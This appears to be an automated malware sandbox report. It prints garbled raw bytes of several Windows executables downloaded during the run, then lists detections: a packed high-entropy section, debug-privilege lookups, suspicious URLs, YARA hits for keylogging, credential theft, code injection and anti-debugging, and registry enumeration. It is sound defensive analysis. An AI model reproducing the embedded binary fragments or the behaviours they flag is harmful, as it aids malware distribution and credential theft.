ýÿÿ Ý´Ü,Z ©×~Fa8úüÿÿ õXµ+Z 8V´a8çüÿÿ{r{p(5 ÍfßZ ßª¶a8Äüÿÿ{( " A(!("&{( " A(!("&{( " A(!("&{(#{($ O=·Z %#a8Füÿÿ{(& (0 0!Z ]¨a8$üÿÿ È©ü\Z ¹¿}a8üÿÿ Z³¤½Z àhBta8þûÿÿ{ (% (3{ J s' (& úKZ ì×Ëa8Àûÿÿ ¸ÒõZ ÇW¸a8ûÿÿ{(%{r¡p"B(1(2 ²NFRZ ¨FDa8qûÿÿ !Ñ6Z þÉÉa8^ûÿÿ{(" A(+(,& xµZ aDa80ûÿÿ ¿Ùñ±Z ·W«\|a8ûÿÿ{(% ß#ÀµZ ÛÃJ½a8þúÿÿ{( " A(!("& d÷Z C± a8Ðúÿÿ }¶Z 4ìÙ>a8½úÿÿ{þs$ (7 H¢tdZ éøi&a8úÿÿ{ (6 ð3ÇZ ïð¾ a8túÿÿ{() Ú êKZ ZkKa8Vúÿÿ{ (6{þs$ (7 üÑÞZ û8a8úÿÿ ¨Z (ÌFja8úÿÿ{ þs$ (7 Ç²7ÖZ ¬^a8ãùÿÿ{( ÈW Z Áä¡a8Ãùÿÿ{ s( (' ~Ë\CZ ø`a8ùÿÿ( ü¸wõZ m«a8ùÿÿ yy9³Z 7*a8rùÿÿ(9 "õgZ ÖKÐ a8Yùÿÿ{r3p(4 Ù:F^Z Y«ïa87ùÿÿ{ p s' (&{ rËp(( `JNZ P¬r[a8ýøÿÿ{ r+p(4 {ªZ²Z ¼X©{a8Ûøÿÿ{ g request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZPÿÿ¸@º´ Í!¸LÍ!This program must be run under Win32 $7PEL^B*àà``îð@°@ ÐÒpW`CODEÞà `DATALðä@ÀBSSöÀ.idata "ö@À.tlsPÀ.rdata`@P.relocWpX@P.rsrcÒÐÒr@P°D@P@Boolean@FalseTrue@,@Charÿ@@IntegerÿÿÿÀX@Byteÿl@Wordÿÿ@Cardinalÿÿÿÿ@ Stringì@ì@¨=@´=@¸=@¼=@°=@ü:@;@T;@TObjectø@TObjectì@System@ IInterfaceÀFSystemÿÿÌD$øéqPD$øéPD$øéPÌÌE@O@Y@ÀFe@@à@q@à@ @¨=@a@ a@¼=@°=@°a@;@T;@TInterfacedObjectÀÿ%Ð!EÀÿ%Ì!EÀÿ%È!EÀÿ%Ä!EÀÿ%À!EÀÿ%¼!EÀÿ%¸!EÀÿ%´!EÀÿ%°!EÀÿ%¬!EÀÿ%¨!EÀÿ%¤!EÀÿ%ä!EÀÿ% !EÀÿ%à!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%\|!EÀÿ%x!EÀÿ%t!EÀÿ%p!EÀÿ%Ü!EÀÿ%l!EÀÿ%h!EÀÿ%d!EÀÿ%ô!EÀÿ%ð!EÀÿ%ì!EÀÿ%`!EÀÿ%\!EÀÿ%"EÀÿ%"EÀÿ%ü!EÀÿ%X!EÀÿ%T!EÀÿ%P!EÀÿ%L!EÀSÄ¼» TèYÿÿÿöD$,t·\$0ÃÄD[ÃÀÿ%H!EÀÿ%D!EÀÿ%@!EÀÿ%<!EÀÿ%8!EÀÿ%4!EÀÿ%0!EÀÿ%,!EÀSÄô»äE;uYhDjè¦ÿÿÿD$\|$u3À$ëPD$àED$£àE3ÀÐÒL$TÑT$T$ T$@øduÜD$D$D$$$Ä[Ã@ÃÀSVÄøòØèfÿÿÿD$\|$u3Àë:T$BFT$B$D$$D$X$T$PD$°YZ^[ÃÄøP$T$$L$ T$$JäE£äEYZÃÀSVWUÄøÙðüBCD$RÊ/M;Èuèÿÿÿ@@CëC;Ðuèqÿÿÿ@CD$;7u®ÓÆèúþÿÿÀu3ÀYZ]_^[Ã@SVWUÄð$ôD$ @;ÈØ>_ùz;ßrv;Èu!BAB)BxuVèðþÿÿëMØ>_ùz;ßu B)Bë3Z\$>.}+û\|$+ÈHT$èMþÿÿÀu3Àë°ë;D$Yÿÿÿ3ÀÄ]_^[ÃSVWÚðþ}¾ëÆÿÿæÿÿsjh Vjè4ýÿÿø;ÿt#Ó¸èEèÜýÿÿÀuhjPèýÿÿ3À_^[ÃSVWUÙòèÇCjh hUèáüÿÿø;ÿuÆÿÿæÿÿsjh VUè¼üÿÿ;t#Ó¸èEèeýÿÿÀuhjPèüÿÿ3À]_^[ÃSVWUÄèùôÇD$ÿÿÿÿ3ÉL$D$T$T$¡èEëkD$X;\$rRÃB;D$wE;\$s\$hh;l$vl$hj@PèüÿÿÀu ÇÄEèýÿÿD$¸èE;u3À\|$tD$D$+D$GÄ]_^[ÃÀSVWUÄèÙ$t$\|$l$ÐÊáðÿÿL$$ÂÿâðÿÿT$D$D$+D$C¡èEë[@@E;D$sD$E;D$vD$E;EsjhE+PPè&ûÿÿÀu3Àë¸èE;uÄ]_^[ÃSVWUÄè$t$\|$\$ÐêÅÿåðÿÿl$$âðÿÿT$D$D$+D$A¡èEëX@@;D$sD$;D$vD$;s h@+PPèwúÿÿÀu ÇÄE¸èE;uÄ]_^[ÃÀSVWUÄôÚðü½øEÆÿ?æÀÿÿEëA;p4Ë@ÖèJþÿÿ;t_CBC)BxuGèûÿÿë>;/u»ÓÆèmüÿÿ;t&L$ÓÅèûÿÿ\|$uL$Sè"ýÿÿ3ÀÄ]_^[ÃÀSVWUÄè$úØt$½øEÇÿ?çÀÿÿEë;.t;Xuï;Xu_;x×+P@AL$è5üÿÿ\|$t3L$T$Åèoúÿÿ\|$uL$T$D$èüÿÿ$3ÒéL$×Ãèîûÿÿ\|$t4L$T$Åè(úÿÿ\|$TÿÿÿL$T$D$è4üÿÿ$3ÒëRh;ÝuB;x;$Å×è×üÿÿ$8t.$@B$@)Bxuèùÿÿë$3ÒÄ]_^[ÃSÄèÙÿ?áÀÿÿ$ÐâÀÿÿT$D$;$v_ËT$+$$èýÿÿL$Ó¸øEè]ùÿÿ\$ÛtL$T$ÃènûÿÿD$D$D$D$\|$tT$¸øEè©ùÿÿë3ÀÄ[ÃÀUìQ3ÒUh@dÿ2d"hÈEè¼÷ÿÿ=IEt hÈEè±÷ÿÿ¸èEèCøÿÿ¸øEè9øÿÿ¸$E request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELsð`à0 ¿ À@ @Ì¾OÀ°à H.text$ `.rsrc°À¢@@.relocà¨@B¿HÀÎðT`¦`(00:rp íÒÎA f¶^<a%^Eàÿÿÿ+ °Z NWéÅa+Ô0: `ÊÇ º°¤a%^Eàÿÿÿ+rp \±Z ©ÆÄa+Î09( ©m¸ GM æa% ^Eàÿÿÿ+ cZ y×ua+Ó0 S(}}( ( s }{(r!p(%\|(s o {(r%p(%\|(s o {(r)p(%\|(s o {(r-p(%\|(s o {(r1p(%\|(s o {(r5p(%\|(s o 0L BcÒ J2Ùa% ^EÜÿÿÿ&+$( 0 ë7Z Ûì\|öa+Ë Ñ@Z Ôþa+»0Yt (u( ( ( ±mL 0Aµa% ^EK¯×y\Íp¹.7¦ÿÿÿ"H8Ò, aU%+ þ½S%& /µ)RZa+ V,þ`Z RÑ®6a8tÿÿÿ ÚÍ¾øZ u(a8`ÿÿÿ(r9p( - ïSè)%+ +ù»w%&82ÿÿÿsÔ( µµj8ÿÿÿ{( o ÌlVîZ :aa8òþÿÿ ð>]£Z 6ùÒDa8Þþÿÿ{ o ( o o! & ÒZ åGa8¤þÿÿ{( o" ØtêZ HÙ ua8}þÿÿrAp å¨Z Âa8cþÿÿ h¶¨MZ bý¦a8Oþÿÿ ÚZ Ñ²ça8;þÿÿ o þ mÃZ sW<Ua8þÿÿ, ÷<z%+ Þ×%& DÔú9Za8üýÿÿ(r9p( ¶§I°Z -³a8Ôýÿÿ0É,d íïda%^E%ÌÿÿÿkX98 ¶_Z õ/ªCa+¼ 0xcZ X9 \|a+¬{þ+ ¼G+, §,Þ%+ Ü¿Æ%& ü ÛZa8yÿÿÿ ¨ßÓLZ ^Ôa8fÿÿÿ{( &«Þ&Z £¢¾ka8Iÿÿÿ(# 0¿ Î(« ÆGa% ^EI¦>= +:`? « ×^Î :uÄiøá (N, » avØÿ ;- ±úz,mÅy Cvúd ÀäÓ¶¨ÚV¤aJÌ³'äA÷6á í{ýëÏ¸ýÿÿÐ `4(ÈMs f S/ÑN¥# túÅãah^S ø@' ¡ TÚ·>lB'5 ßD ® ðË^ _M8p ÖìZ ,ß{a8¥ýÿÿ á\Z qP¸a8ýÿÿ )äÌZ .ïa8ýÿÿ{(#{ ($ QZ lÏ=Úa8Týÿÿ"À@"PAs$ (8 JÐ÷Z É¼z1a8,ýÿÿ{ þs% (7{ (& (0 â÷â_Z ÿ>V9a8ñüÿÿ ÷©ÂZ Kã"a8Þüÿÿ{ r1p(4 §êäZ å&ra8¼üÿÿ{ gNs' (- Z \fa8üÿÿ ´ =)Z ;Îrfa8üÿÿ{ (( (3 IiùZ áEÚ(a8_üÿÿ(} ÉëZZ JßÃ a8Büÿÿ{þs% (/ UZ ßtÎa8üÿÿ{ (. æ¦ÖeZ »ð¼2a8ùûÿÿ Ê2Z °6a8æûÿÿ{rYp(5 Â3ÞæZ ÆÊXa8Ãûÿÿ{r5p(4{rp(5 þSQZ C$Ha8ûÿÿ ¹úZ Èåð(a8{ûÿÿ{ þs% (7 êxZ SVÈJa8Pûÿÿ{( " A(!("& vÖâÓZ ¾æa8"ûÿÿ{þs% (7 "«EZ aH¹¹a8øúÿÿ q Z x98aa8åúÿÿ{ (( (3 K2ZZ `þa8Ãúÿÿ =_ÂZ ý¾¬/a8°úÿÿ{rp"B(1(2{(( (3 b^ádZ 2÷9a8oúÿÿ 9'åZ »3½0a8\úÿÿ{(% rú8Z Éàa8<úÿÿ{ · 8s) (& ãFwîZ a+¡àa8úÿÿ{ rÁp(( äm9Z c¢Ùja8îùÿÿ{ p s) (& ¯Z Püf×a8Åùÿÿ{rÏp(( D3Z öa8£ùÿÿ ³MYØZ Pla8ùÿÿ \f¥£Z >ía8}ùÿÿ{() e$¨#Z ÎÊa8_ùÿÿ{(& (0 -Ê>Z O¬¹a8=ùÿÿ ×ÈgtZ ,uôa8ùÿÿ{ (& (0 A5KZ 2'a8ùÿÿ{(" A(+(,& d¤×Z öÛ}a8Ùøÿÿ ìú Z -éô»a8Æøÿÿ{(& (0 Û±Z ¼`Da8¤øÿÿ(}(} 2¨Z V/a8\|øÿÿ{ (% ãÓÂþZ ró¸&a8]øÿÿ{(#{ ($ request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELuð`à0º À@ @Ä¹WÀ°à H.text$ `.rsrc°À@@.relocà¤@BºHÈÉüïTX©p 00M ÙÐ @æa%^E&Üÿÿÿ+$rp ^©Z ÷b\a+Ê Ù(Z >¯ûYa+»0:rp u ý´0a%^Eàÿÿÿ+ ¿ø.Z ¨ta+Ô0( 0 "(}}( +6ê )GÒºa% ^E G(~Ãÿÿÿ4kÀÌ8Ç( s } qLZ +èa+ {(r%p(%\|(s o â´Z «9Bòa8]ÿÿÿ ÕKZ Wa8Jÿÿÿ{(r)p(%\|(s o 2`_:Z Â1Uwa8ÿÿÿ{(r-p(%\|(s o {(r1p(%\|(s o f>Z À¢'a8þÿÿ °r¡@Z yØ1a8þÿÿ{(r5p(%\|(s o ÑðZ fIha8>þÿÿ{(r9p(%\|(s o 2X;XZ Ô²a8üýÿÿ0(0 Èg»ï fÜâa% ^E}N:ªðiËÛ6µë¡jÿÿÿ81 "WörZ àÑza+ îøHZ ºö¬a8uÿÿÿ(u( ( ( - ä¬k%+ 5`t%& YûÄüZa86ÿÿÿ FZ új³Ûa8"ÿÿÿ{( o r=p 037Z T7©·a8õþÿÿ , Úc¾%+ àiN%& îÐfZa8Ôþÿÿ(rUp( ÷ æ8´þÿÿ(rUp( ºìZ Å,ca8þÿÿ{ o ( Þ«aSZ Gö1a8eþÿÿ õYÛlZ Öö«a8Qþÿÿ o & ù#_Z ùpß!a85þÿÿ o! \JZ r±Øa8þÿÿsÔ( GqïÝ8þýÿÿ NvóZ Xea8êýÿÿ{( o" ìKZ ðÞa8Äýÿÿ Z2#Z ÈNþ©a8¯ýÿÿ o þ- 6><%+ ¥ß%& î~Za8ýÿÿt g¸ÙZ ¤°Õa8iýÿÿ0¾ oø ¬wÈ§a%^EJ+Ìÿÿÿi:8, vÄ£¹Z eiAa+º{þ+ þÉ¨ï+¦(# ¤ÁZÊ+ E×Z ùÔ«a+, 8~ %+ #ÅE%& Â¦Za8hÿÿÿ{( IFZ '!a8Iÿÿÿ0 tÝò ~Ä¬a% ^E¬ýÿÿÜ?ÜÁ0 ýBÔ ³ï ÇêH´2f7Ç,æ6 È gæÏ ×J ¥jSÕG¡ÆeAäUÊGÙ¢a[ûC}f-C ~y®yJÛÈ[[Tö I·å ÃZZv¤ ^ ?a «ö@& ªhk¨¶å BÔ .üz 0Óè1 ¾ ¥ VX,t týy ìn×êy ¯8¥(G \Ï¾yZ M¡\a8ýÿÿ(B(C ¶j¸'Z )DÕza8rýÿÿ(9 Î"zZ êLÐVa8Yýÿÿ OÓZ La8Fýÿÿ ïS+Z Íòa83ýÿÿ{(" A(+(,&{(" A(+(,& ÏoZ "a8éüÿÿ Ñ¼ºZ è±àa8Öüÿÿ{ J s$ (& ínc1Z SÅ^a8ªüÿÿ åñZ uzra8üÿÿ{(*" A(+(,& tåZ âÍxa8iüÿÿ øZ 4ªèa8Vüÿÿ{ (%{ r]p"B(1(2 hÛÐ Z Èýâµa8üÿÿ{kPs% (-{(.{r9p(4 õ«Ý8Z ²FéÒa8Õûÿÿ{ (6 öÎ«Z ERPa8µûÿÿ u¦:Z ë:Úa8¢ûÿÿ(} YÒ%Z ½ëóYa8ûÿÿ S.òÆZ ¬ôEa8rûÿÿ{gNs% (- åaDýZ Q}a8Kûÿÿ - Z U!ma88ûÿÿ(;{(< üÕ?Z /#Ãa8ûÿÿ{þs& (7 lZ Ùa8ëúÿÿ ©?¦Z È´a8Øúÿÿ{(' (0 c+÷?Z ùÄ~)a8¶úÿÿ CÁûHZ hÜäa8£úÿÿ(( (0 9 s% (: ÇioZ Fä½a8púÿÿ{ (6 f8gZ tÉJa8Púÿÿ iNUÿZ ûµ%6a8=úÿÿ"À@"PAs) (8 :î½Z VS¨a8úÿÿ »ËMZ ¢P×ªa8úÿÿ{ Ýs$ (& Ñ$¹Z D·hLa8Úùÿÿ &Æ¬Z Øç#a8Çùÿÿ o{õCZ $?ça8´ùÿÿ(} pCRZ ^a8ùÿÿ \|weZ oaa8ùÿÿ Áµ¬Z ÷¸a8qùÿÿ ³ÔrZ É@¦a8^ùÿÿ{rp(5 Ñg¢Z 0.ßa8;ùÿÿ{(#{($ âæ«ÕZ @&{pa8ùÿÿ Êc_=Z Å×a8ýøÿÿ £èRÄZ A¢a8êøÿÿ{ request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZPÿÿ¸@º´ Í!¸LÍ!This program must be run under Win32 $7PEL^B*àà``îð@°@ ÐÒpW`CODEÞà `DATALðä@ÀBSSöÀ.idata "ö@À.tlsPÀ.rdata`@P.relocWpX@P.rsrcÒÐÒr@P°D@P@Boolean@FalseTrue@,@Charÿ@@IntegerÿÿÿÀX@Byteÿl@Wordÿÿ@Cardinalÿÿÿÿ@ Stringì@ì@¨=@´=@¸=@¼=@°=@ü:@;@T;@TObjectø@TObjectì@System@ IInterfaceÀFSystemÿÿÌD$øéqPD$øéPD$øéPÌÌE@O@Y@ÀFe@@à@q@à@ @¨=@a@ a@¼=@°=@°a@;@T;@TInterfacedObjectÀÿ%Ð!EÀÿ%Ì!EÀÿ%È!EÀÿ%Ä!EÀÿ%À!EÀÿ%¼!EÀÿ%¸!EÀÿ%´!EÀÿ%°!EÀÿ%¬!EÀÿ%¨!EÀÿ%¤!EÀÿ%ä!EÀÿ% !EÀÿ%à!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%!EÀÿ%\|!EÀÿ%x!EÀÿ%t!EÀÿ%p!EÀÿ%Ü!EÀÿ%l!EÀÿ%h!EÀÿ%d!EÀÿ%ô!EÀÿ%ð!EÀÿ%ì!EÀÿ%`!EÀÿ%\!EÀÿ%"EÀÿ%"EÀÿ%ü!EÀÿ%X!EÀÿ%T!EÀÿ%P!EÀÿ%L!EÀSÄ¼» TèYÿÿÿöD$,t·\$0ÃÄD[ÃÀÿ%H!EÀÿ%D!EÀÿ%@!EÀÿ%<!EÀÿ%8!EÀÿ%4!EÀÿ%0!EÀÿ%,!EÀSÄô»äE;uYhDjè¦ÿÿÿD$\|$u3À$ëPD$àED$£àE3ÀÐÒL$TÑT$T$ T$@øduÜD$D$D$$$Ä[Ã@ÃÀSVÄøòØèfÿÿÿD$\|$u3Àë:T$BFT$B$D$$D$X$T$PD$°YZ^[ÃÄøP$T$$L$ T$$JäE£äEYZÃÀSVWUÄøÙðüBCD$RÊ/M;Èuèÿÿÿ@@CëC;Ðuèqÿÿÿ@CD$;7u®ÓÆèúþÿÿÀu3ÀYZ]_^[Ã@SVWUÄð$ôD$ @;ÈØ>_ùz;ßrv;Èu!BAB)BxuVèðþÿÿëMØ>_ùz;ßu B)Bë3Z\$>.}+û\|$+ÈHT$èMþÿÿÀu3Àë°ë;D$Yÿÿÿ3ÀÄ]_^[ÃSVWÚðþ}¾ëÆÿÿæÿÿsjh Vjè4ýÿÿø;ÿt#Ó¸èEèÜýÿÿÀuhjPèýÿÿ3À_^[ÃSVWUÙòèÇCjh hUèáüÿÿø;ÿuÆÿÿæÿÿsjh VUè¼üÿÿ;t#Ó¸èEèeýÿÿÀuhjPèüÿÿ3À]_^[ÃSVWUÄèùôÇD$ÿÿÿÿ3ÉL$D$T$T$¡èEëkD$X;\$rRÃB;D$wE;\$s\$hh;l$vl$hj@PèüÿÿÀu ÇÄEèýÿÿD$¸èE;u3À\|$tD$D$+D$GÄ]_^[ÃÀSVWUÄèÙ$t$\|$l$ÐÊáðÿÿL$$ÂÿâðÿÿT$D$D$+D$C¡èEë[@@E;D$sD$E;D$vD$E;EsjhE+PPè&ûÿÿÀu3Àë¸èE;uÄ]_^[ÃSVWUÄè$t$\|$\$ÐêÅÿåðÿÿl$$âðÿÿT$D$D$+D$A¡èEëX@@;D$sD$;D$vD$;s h@+PPèwúÿÿÀu ÇÄE¸èE;uÄ]_^[ÃÀSVWUÄôÚðü½øEÆÿ?æÀÿÿEëA;p4Ë@ÖèJþÿÿ;t_CBC)BxuGèûÿÿë>;/u»ÓÆèmüÿÿ;t&L$ÓÅèûÿÿ\|$uL$Sè"ýÿÿ3ÀÄ]_^[ÃÀSVWUÄè$úØt$½øEÇÿ?çÀÿÿEë;.t;Xuï;Xu_;x×+P@AL$è5üÿÿ\|$t3L$T$Åèoúÿÿ\|$uL$T$D$èüÿÿ$3ÒéL$×Ãèîûÿÿ\|$t4L$T$Åè(úÿÿ\|$TÿÿÿL$T$D$è4üÿÿ$3ÒëRh;ÝuB;x;$Å×è×üÿÿ$8t.$@B$@)Bxuèùÿÿë$3ÒÄ]_^[ÃSÄèÙÿ?áÀÿÿ$ÐâÀÿÿT$D$;$v_ËT$+$$èýÿÿL$Ó¸øEè]ùÿÿ\$ÛtL$T$ÃènûÿÿD$D$D$D$\|$tT$¸øEè©ùÿÿë3ÀÄ[ÃÀUìQ3ÒUh@dÿ2d"hÈEè¼÷ÿÿ=IEt hÈEè±÷ÿÿ¸èEèCøÿÿ¸øEè9øÿÿ¸$E request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $¢l$æ JOæ JOæ JOïuÙOê JO?oKNä JO?oINä JO?oONì JO?oNNí JOÄmKNä JO-nKNå JOæ KO~ JO-nNNò JO-nJNç JO-nµOç JO-nHNç JORichæ JOPEL¿bë[à"!¶b¼ÐP ±@¨¸È0xÐ@`ÐþT(ÿ@Ðl.textË´¶ `.rdata DÐFº@@.data @À.rsrcx0@@.reloc`@@B request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELê=Sv?à!ÐàXà` 8Ã °ÐL ü'ð¬Ñp.textÀÎÐ`0`.data°àÖ@@À.rdata$ð®æ@@@.bss @À.edata°@0@.idataL Ð®@0À.CRTàº@0À.tls ð¼@0À.relocü'(¾@0B/4`0æ@@B/19È@è@B/35MPì@B/51`C`Dô@B/63 °8@B/77ÀF@B/89ÐR request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $Àð/AVAVAVéÒVAV]ó@WAV1VAV]óBWAV]óDWAV]óEWAV¦ñ@WAVOò@WAV@VÖAVOòBWAVOòEWÀAVOòAWAVOò¾VAVOòCWAVRichAVPELØbë[à"!Øf)Ýðp£s@pæPÀæÈ@xüÐPà0âTâ@ð8.texttÖØ `.rdataüþðÜ@@.data,HðÜ@À.rsrcx@à@@.relocàPä@B request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ÂU±É£;âÉ£;âÉ£;âÀÛ¨âÙ£;âWüâË£;âÁ8ãÇ£;âÁ?ãÂ£;âÁ:ãÍ£;âÁ>ãÛ£;âëÃ:ãÀ£;âÉ£:âw£;âÀ?ãÈ£;âÀ>ãÝ£;âÀ;ãÈ£;âÀÄâÈ£;âÀ9ãÈ£;âRichÉ£;âPELÄ_ë[à"!zà@3@A@Àt´Þ, xúÐ0h¹TT¹h¸@ôl¾.textÊxz `.rdata^ef~@@.data¼ä@À.didat8æ@À.rsrcx è@@.reloch0ì@B request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $¦È¼Aâ©Òâ©Òâ©ÒV5=à©ÒëÑAú©Ò;ËÓá©Òâ©Ó"©Ò;ËÑë©Ò;ËÖî©Ò;Ë×ô©Ò;ËÚ©Ò;ËÒã©Ò;Ë-ã©Ò;ËÐã©ÒRichâ©ÒPEL8'Yà"!P± Ðaz@AðCÏôR,øx8?4:ðf8È(@Pð@@.textr `.data( @À.idata6P @@.didat4p6@À.rsrcø8@@.reloc4:<<@B request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $#4gâZßgâZßgâZßnÉßsâZß¾[ÞeâZßùBßcâZß¾YÞjâZß¾_ÞmâZß¾^ÞlâZßE[ÞoâZß¬[ÞdâZßgâ[ßâZß¬^ÞmãZß¬ZÞfâZß¬¥ßfâZß¬XÞfâZßRichgâZßPELbë[à"!êwð@·»@ =T°pæÐÀ}pTÈ@ø.textèê `.rdataRTî@@.datatG`"B@À.rsrcp°d@@.reloc}À~h@B request_handle: 0x00cc000c	1	1
InternetReadFile July 19, 2021, 10:33 a.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ù£NEÍEÍEÍñ"GÍLà^NÍEÌlÍúÉUÍúÎVÍúÈAÍúÅ_ÍúÍDÍú2DÍúÏDÍRichEÍPEL8'Yà"!ê ® @¼@A°ð À H?0 °8è@¼.textÄéê `.dataDî@À.idata¸ð@@.rsrc ö@@.reloc 0ü@B request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0012f000', u'virtual_address': u'0x00001000', u'entropy': 7.349543054331128, u'name': u'.text', u'virtual_size': u'0x0012e984'}

entropy

7.34954305433

description

A section with a high entropy has been found

entropy

0.993442622951

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (10 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeShutdownPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeShutdownPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 19, 2021, 10:33 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Potentially malicious URLs were found in the process memory dump (2 events)

url	http://ip-api.com/json
url	https://dotbit.me/a/

Yara rule detected in process memory (50 out of 173 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Steal credential	rule	local_credential_Steal
description	Take ScreenShot	rule	ScreenShot
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags

Queries for potentially installed applications (50 out of 181 events)

Time & API	Arguments	Status	Return
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x00000510 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1	0
